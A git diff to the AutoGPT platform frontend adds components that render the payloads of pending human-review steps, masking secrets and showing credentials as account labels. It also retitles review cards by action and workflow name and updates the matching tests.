b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/ReviewInputFields.tsxnew file mode 100644index 0000000000..5ef8698304--- /dev/null+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/ReviewInputFields.tsx@@ -0,0 +1,111 @@+import { RunAgentInputs } from "@/app/(platform)/library/agents/[id]/components/NewAgentLibraryView/components/modals/RunAgentInputs/RunAgentInputs";+import { Text } from "@/components/atoms/Text/Text";+import type { ReviewField } from "./helpers";++interface Props {+ fields: ReviewField[];+ values: Record<string, unknown>;+ onChange: (values: Record<string, unknown>) => void;+ readOnly?: boolean;+}++export function ReviewInputFields({+ fields,+ values,+ onChange,+ readOnly = false,+}: Props) {+ return (+ <div className="flex flex-col gap-4">+ {fields.map((field) => (+ <ReviewInputField+ key={field.key}+ field={field}+ value={values[field.key]}+ readOnly={readOnly}+ onChange={(value) => onChange({ ...values, [field.key]: value })}+ />+ ))}+ </div>+ );+}++function ReviewInputField({+ field,+ value,+ readOnly,+ onChange,+}: {+ field: ReviewField;+ value: unknown;+ readOnly: boolean;+ onChange: (value: unknown) => void;+}) {+ switch (field.kind) {+ case "input":+ // RunAgentInputs' readOnly only blocks the pointer; a keyboard could+ // still edit a value the approval would never send.+ if (readOnly) {+ return <StaticField label={field.label} text={displayValue(value)} />;+ }+ return (+ <RunAgentInputs+ schema={field.schema}+ value={value}+ onChange={onChange}+ />+ );+ case "group":+ return (+ <fieldset className="flex flex-col gap-3 rounded-lg border border-zinc-200 p-3">+ <legend className="px-1 text-sm font-medium">{field.label}</legend>+ <ReviewInputFields+ fields={field.fields}+ values={(value ?? {}) as Record<string, unknown>}+ onChange={onChange}+ readOnly={readOnly}+ />+ </fieldset>+ );+ case "credentials":+ return <StaticField label={field.label} text={field.text} />;+ case "secret":+ return <StaticField label={field.label} text="••••••••" />;+ case "raw":+ return (+ <StaticField+ label={field.label}+ text={JSON.stringify(field.value, null, 2)}+ mono+ />+ );+ }+}++function StaticField({+ label,+ text,+ mono = false,+}: {+ label: string;+ text: string;+ mono?: boolean;+}) {+ return (+ <div className="flex flex-col gap-1">+ <Text variant="large-medium">{label}</Text>+ <Text+ variant="body"+ className={mono ? "whitespace-pre-wrap font-mono text-sm" : undefined}+ >+ {text}+ </Text>+ </div>+ );+}++function displayValue(value: unknown) {+ if (value === undefined || value === null || value === "") return "—";+ if (typeof value === "boolean") return value ? "Yes" : "No";+ return typeof value === "string" ? value : JSON.stringify(value);+}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/helpers.ts b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/helpers.tsnew file mode 100644index 0000000000..ad5ad158b6--- /dev/null+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/helpers.ts@@ -0,0 +1,96 @@+import type { BlockIOSubSchema } from "@/lib/autogpt-server-api/types";+import { beautifyString } from "@/lib/utils";++type Schema = Record<string, unknown>;++export type ReviewField =+ | { kind: "credentials"; key: string; label: string; text: string }+ | { kind: "secret"; key: string; label: string }+ | { kind: "group"; key: string; label: string; fields: ReviewField[] }+ | {+ kind: "input";+ key: string;+ label: string;+ schema: BlockIOSubSchema;+ value: unknown;+ }+ | { kind: "raw"; key: string; label: string; value: unknown };++/** The fields to show for a review payload, labelled from the block's input+ * schema when there is one and from the payload's own keys otherwise. */+export function reviewFields(+ payload: Record<string, unknown>,+ schema?: Schema | null,+): ReviewField[] {+ const properties = (schema?.properties ?? {}) as Record<string, Schema>;+ return Object.entries(payload).map(([key, value]) =>+ toField(key, value, properties[key]),+ );+}++function toField(key: string, value: unknown, schema?: Schema): ReviewField {+ const label = (schema?.title as string | undefined) ?? beautifyString(key);+ if (isCredentials(key, value, schema)) {+ // A credentials field's schema title is a type name, not a label.+ const accountLabel =+ key === "credentials" ? "Account" : beautifyString(key);+ return {+ kind: "credentials",+ key,+ label: accountLabel,+ text: credentialsText(value),+ };+ }+ if (schema?.secret) return { kind: "secret", key, label };+ if (isPlainObject(value)) {+ const properties = (schema?.properties ?? {}) as Record<string, Schema>;+ return {+ kind: "group",+ key,+ label,+ fields: Object.entries(value).map(([k, v]) =>+ toField(k, v, properties[k]),+ ),+ };+ }+ if (Array.isArray(value)) return { kind: "raw", key, label, value };+ return {+ kind: "input",+ key,+ label,+ value,+ schema: {+ ...(schema ?? { type: inferType(value) }),+ title: label,+ } as BlockIOSubSchema,+ };+}++function isCredentials(key: string, value: unknown, schema?: Schema) {+ if (schema && "credentials_provider" in schema) return true;+ return (+ key === "credentials" &&+ isPlainObject(value) &&+ "provider" in value &&+ "id" in value+ );+}++function credentialsText(value: unknown) {+ if (!isPlainObject(value)) return "Connected account";+ const title = typeof value.title === "string" ? value.title : null;+ const provider =+ typeof value.provider === "string" ? beautifyString(value.provider) : null;+ if (title && provider) return `${title} (${provider})`;+ return title ?? provider ?? "Connected account";+}++function inferType(value: unknown) {+ if (typeof value === "number") return "number";+ if (typeof value === "boolean") return "boolean";+ return "string";+}++function isPlainObject(value: unknown): value is Record<string, unknown> {+ return typeof value === "object" && value !== null && !Array.isArray(value);+}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/useReviewBlockSchema.ts b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/useReviewBlockSchema.tsnew file mode 100644index 0000000000..58c9743559--- /dev/null+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/useReviewBlockSchema.ts@@ -0,0 +1,11 @@+import { useGetV2GetSpecificBlocks } from "@/app/api/__generated__/endpoints/default/default";+import { okData } from "@/app/api/helpers";++export function useReviewBlockSchema(blockId: string | null | undefined) {+ const { data, isLoading } = useGetV2GetSpecificBlocks(+ { block_ids: blockId ? [blockId] : [] },+ { query: { enabled: !!blockId, select: okData, staleTime: Infinity } },+ );+ const schema = data?.[0]?.inputSchema as Record<string, unknown> | undefined;+ return { schema, isLoading: !!blockId && isLoading };+}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsxindex a512571236..1e88e29720 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/PendingReviewsList.tsx@@ -229,8 +229,8 @@ export function PendingReviewsList({</Text></div><Text variant="large" className="text-textGrey">- This task is paused until you approve the changes below. Please review- and edit if needed.+ This workflow is paused until you approve the step below. Check what+ it will do, and edit it if needed.</Text></div>@@ -242,8 +242,9 @@ export function PendingReviewsList({pendingAction?.nodeId === nodeId ? pendingAction.action : null;const firstReview = nodeReviews[0];- const blockName = firstReview?.instructions;- const reviewTitle = `Review required for ${blockName}`;+ const reviewTitle =+ firstReview?.action ?? firstReview?.instructions ?? "Review";+ const workflowName = firstReview?.agent_name;const getShortenedNodeId = (id: string) => {if (id.length <= 8) return id;@@ -273,9 +274,13 @@ export function PendingReviewsList({<Text variant="body" className="font-semibold text-gray-900">{reviewTitle}</Text>- <Text variant="small" className="text-gray-500">- Node #{getShortenedNodeId(nodeId)}- </Text>+ {(workflowName || !firstReview?.action) && (+ <Text variant="small" className="text-gray-500">+ {workflowName+ ? `In workflow “${workflowName}”`+ : `Node #${getShortenedNodeId(nodeId)}`}+ </Text>+ )}</div><span className="text-xs text-gray-600">{reviewCount} {reviewCount === 1 ? "review" : "reviews"}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsxindex f593a56b49..e0c0118820 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewsList/__tests__/PendingReviewsList.test.tsx@@ -19,6 +19,8 @@ function makeReview(graph_version: 1,payload: { to: "[email protected]" },instructions: "SendEmailBlock",+ action: "Send Email",+ agent_name: "Invoice follow-up",editable: true,status: "WAITING",created_at: new Date(),@@ -107,10 +109,16 @@ test("a collapsed group offers no way to decide it", async () => {expect(screen.getByRole("button", { name: "Approve" })).toBeDefined();- await userEvent.click(- screen.getByRole("button", { name: /Review required for/ }),- );+ await userEvent.click(screen.getByRole("button", { name: /Send Email/ }));expect(screen.queryByRole("button", { name: "Approve" })).toBeNull();expect(screen.queryByRole("button", { name: "Reject" })).toBeNull();});++test("a block's group is titled by its action and names its workflow", () => {+ render(<PendingReviewsList reviews={[makeReview()]} />);++ expect(screen.getByText("Send Email")).toBeDefined();+ expect(screen.getByText("In workflow “Invoice follow-up”")).toBeDefined();+ expect(screen.queryByText(/SendEmailBlock/)).toBeNull();+});